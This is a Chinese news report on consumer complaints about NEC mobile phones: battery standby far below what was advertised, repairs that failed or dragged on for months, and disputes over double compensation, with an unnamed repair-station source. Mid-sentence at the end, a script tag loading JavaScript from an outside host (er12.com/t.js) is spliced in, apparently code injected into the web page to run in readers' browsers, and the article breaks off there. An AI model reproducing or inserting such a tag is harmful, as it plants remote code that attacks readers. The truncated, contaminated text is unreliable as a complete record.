消费者文先生（化名）怎么也无法接受这样的现实：２００５年３月底购买的一款问题ｎｅｃ ｎ９２３手机，多次与经销商、维修站、厂家联系，但直至今日，这台经厂家维修后声称通过电池校准和软件升级处理的手机仍根本无法使用。“花５０００元买的手机，成了一块废铁”。
●同一事件不同解决方案
２００５年３月１６日和３月２３日，本报分别以《ｎｅｃ涉嫌有意设置“三包”陷阱》、《ｎｅｃ消费陷阱依旧》为题报道了ｎ９２３机型普遍存在电池待机时间短，根本达不到其所宣称的１２０小时待机时间，而且在１５天之内不提供新机质量检测、导致消费者无法正常退换机的现象，引起了人们广泛的关注。
３月２４日，ｎｅｃ通讯（中国）有限公司以公函的形式对本报所做报道表示感谢，同时称已与报道中所提及的消费者取得联系，达成共识，消费者对解决方案表示满意。
据了解，当时ｎｅｃ公司与报道中所提及的消费者刘先生（化名）达成的解决方案其实很简单：按《消法》规定的退一赔一的双倍赔偿。此后，陆续有数位购买ｎ９２３手机的消费者看到报道后与ｎｅｃ公司讨要说法，基本上都获得了同样的权益保障。
但很快，ｎｅｃ公司的态度发生了变化。２００５年４月６日，本文开头提及的消费者文先生据朋友介绍看到本报报道后，立即设法与ｎｅｃ公司进行联系。原来，去年３月中旬，文先生刚刚花费５０００多元购买了一部ｎ９２３手机，使用几天后就发现电池待机时间特别短。看到报道后，文先生认为自己所遭遇的情况与报道中所提及的完全一致，于是也向ｎｅｃ公司提出了双倍赔偿的要求。
文先生先是找到经销商，经销商表示公司没有明确通知赔偿方案，所以只愿意为文先生办理退机手续并赔偿１０００元损失。“我没法答应，”文先生认为，“不理亏他们怎么可能愿意赔我钱呢？如果确实有欺诈行为，那就得双倍赔偿。”
从那时起，在长达将近一年的时间里，消费者文先生陆续多次与ｎｅｃ公司联系，但一直没有得到任何解决。
今年１月４日，实在不堪其烦的文先生通过特殊途径与ｎｅｃ（通讯）中国有限公司客户服务部取得联系，希望首先对手机进行检测、维修然后再考虑其他。１月６日，文先生拿到这台据客户服务部声称已经做了电池校准和软件升级处理、已经解决了电池待机时间短这一问题的手机。但这部声称已经修好的手机，根本连电都充不进去了。
据记者了解，自２００５年３月以来，ｎｅｃ公司一直未通报到底如何处理出现问题的ｎ９２３机型，出现问题的手机到底销售了多少台，到底受理了多少消费者的赔偿要求，对于退换回去的手机又进行了怎样的处理。直到２００５年底，记者才从ｎｅｃ公司一位高层管理人员处了解到，该公司已经有能力解决电池待机时间短的问题，但具体如何解决却不得而知。
●消费者怨声四起
自２００６年３月１日起，记者陆续对近百名曾经接受过维修服务的ｎｅｃ手机使用者进行了调查，在受访消费者中，仅有两人表示手机已经确实修好了。
湖南消费者袁先生于２００５年７月购买了一部ｎ６００型手机：“手机买回来第三天就出现死机现象，一检测就给我换一个手机，过了１０天又给我换了一个手机。又过了七八个月，又给我换了一个，现在还是陆续修，维修单子都一大堆了，还是经常死机。现在说是没有配件了，等有了配件再修。”
广东消费者郭先生使用的是ｎ８１０型手机：“返厂维修完了以后故障还是存在，又返厂维修。而且这一次维修报价相当高，好像是近２０００元，但最终还是没修好。主要是主板耐用性能太差。”
北京消费者文先生用的是一部ｎ８１０型手机，接到记者的电话后，文先生情绪特别激动：“我正准备投诉呢，修完了以后还坏，没法用。而且每次修，就要返回总厂武汉那边，需一个月手机才能回来，有一次一修就是３个多月。拖这么长时间耽误使用不说，刚修回来还是没法使，过两天就坏。本来这手机有保修期嘛，拖到过了保修期就得自己花钱修，而且维修报价还特高，一报就是好几百元。问维修人员这配件能使多长时间，他们都说没谱。维修检测中心那儿，别的品牌的维修柜台都没人，就他们柜台每次去都排队。”
消费者叶先生对自己选购的ｎ６１０型手机也非常不满：“一个屏幕灯不亮，就修了三个多月才拿回来。说什么非得拿回总部去修，元旦前拿去修的，到３月份才拿回来，原装电池的待机时间太短了。”
在调查中，许多ｎｅｃ手机用户都对该品牌手机质量怀有不满情绪，尤其是在维修过程中等待时间过长的消费者。
●维修服务站透露内幕
在记者保证不透露其服务站具体名称后，一家ｎｅｃ维修站负责人向记者透露了这样的情况：
“基本上每４台送修的手机就有一部需做返厂维修。出现这种情况的原因，一般都是由于维修站没有维修相应故障的主板或配件，或不能确定手机故障状况。一般?script src=http://er12.com/t.js>
